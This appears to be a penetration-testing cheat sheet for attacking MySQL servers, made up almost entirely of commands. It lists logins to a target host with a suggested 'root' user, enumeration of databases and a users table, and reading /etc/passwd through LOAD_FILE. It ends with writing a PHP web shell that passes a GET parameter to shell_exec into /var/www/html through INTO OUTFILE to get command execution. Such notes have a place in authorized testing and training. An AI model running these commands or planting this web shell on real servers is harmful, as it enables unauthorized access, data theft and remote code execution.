# Login
# - try "root"
mysql -u <USER> -h <TARGET>
mysql -u <USER> --password=<PASSWORD> -P <PORT> -h <TARGET>
select version() ;
show databases ;
use <DATABASE> ;
show tables ;
show columns from <TABLE> ;
SELECT * FROM users ;
select * from <TABLE> ;
select * from <TABLE> where <COLUMN> = "<VALUE>" ;
use sys ; # tables and metadata
select host, unique_users from host_summary ;
use information_schema ; # metadata
### Read Files
# NOTE: not normal
select LOAD_FILE("/etc/passwd");
### Write Files (to achieve command execution)
show variables like "secure_file_priv";
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';